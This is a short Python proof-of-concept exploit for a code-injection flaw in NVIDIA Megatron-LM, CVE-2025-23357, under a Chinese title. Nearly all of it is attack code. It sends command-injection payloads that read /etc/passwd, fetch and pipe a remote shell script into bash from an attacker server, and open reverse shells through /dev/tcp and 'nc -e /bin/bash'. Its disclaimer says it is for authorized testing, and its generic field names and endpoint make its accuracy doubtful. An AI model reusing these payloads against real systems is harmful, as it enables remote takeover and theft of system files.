CVE-2025-23357: NVIDIA Megatron-LM 代码注入漏洞

# CVE-2025-23357 PoC - NVIDIA Megatron-LM Code Injection # Note: This is a conceptual PoC for demonstration purposes only import requests import json TARGET_URL = "http://target-host:port/megatron-lm-endpoint" def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-23357 """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious payload that attempts code injection malicious_payload = { "script_data": "$(whoami)", "input_param": "test && cat /etc/passwd", "command": "| ls -la" } try: response = requests.post(TARGET_URL, json=malicious_payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target may be vulnerable") print(f"Response: {response.text}") else: print(f"[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def exploit_cve_2025_23357(): """ Exploit CVE-2025-23357 for code execution """ exploit_payload = { "script_data": "$(curl http://attacker-server/shell.sh | bash)", "input_param": "| bash -i >& /dev/tcp/attacker-ip/port 0>&1", "command": ";nc -e /bin/bash attacker-ip port" } headers = { "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, json=exploit_payload, headers=headers, timeout=10) print(f"[*] Exploit sent") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-23357 - NVIDIA Megatron-LM Code Injection") print("Use only for authorized security testing") check_vulnerability()